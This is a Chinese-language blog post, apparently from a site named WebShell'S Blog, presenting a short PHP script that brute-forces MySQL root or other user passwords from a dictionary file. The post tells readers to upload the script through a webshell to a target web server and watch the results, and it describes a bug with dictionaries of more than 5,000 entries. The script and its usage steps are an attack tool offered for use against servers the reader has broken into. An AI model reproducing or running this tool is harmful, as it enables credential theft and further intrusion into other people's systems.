<?
set_time_limit(0);                                   //脚本不超时

$ip = "localhost";                                   //IP
$user = "root";                                      //用户名
$passwd = file("password.txt");                      //密码字典

for($i=0; $i<count($passwd); $i++){
    $pass = Str_Replace("\r\n", "", $passwd[$i]);   //剔除多余的回车+换行
    connect($user, $pass);
    flush();
}
echo "扫描结束!";

function connect($user, $pass) {
    if(@mysql_connect($ip, $user, $pass)){
        echo "<font color='#0000FF'><b>得到密码:<font color='#FF0000'>".$pass."</font>!!!</b></font>";
        exit();
    }
    else {
        echo $pass.'<br>';
    }
}
?>

 

代码简单的不能再简单了,就不解释了,功能很简单,传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。

已知有一处Bug,不清楚为何,密码数量少的时候,准确率100%,但是当密码数量达到5000以上时,准确率0%,明明正确的密码,却不显示正确,除非你把这个密码放在字典最末尾,才显示正确,不清楚是什么原因造成的,开始以为是暴破间隔时间太短,加了延时函数,还是这样。。。

或许只是我个别原因?各位试试就知道了。

用法:

1、修改 PHP 代码中的用户名

2、准备字典 password.txt,每行一个,理论上支持无数行。

3、将脚本和字典一起传到目标Web服务器上,访问该脚本,即开始暴力破解,破解结果实时输出,盯着就行了。

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/2663.html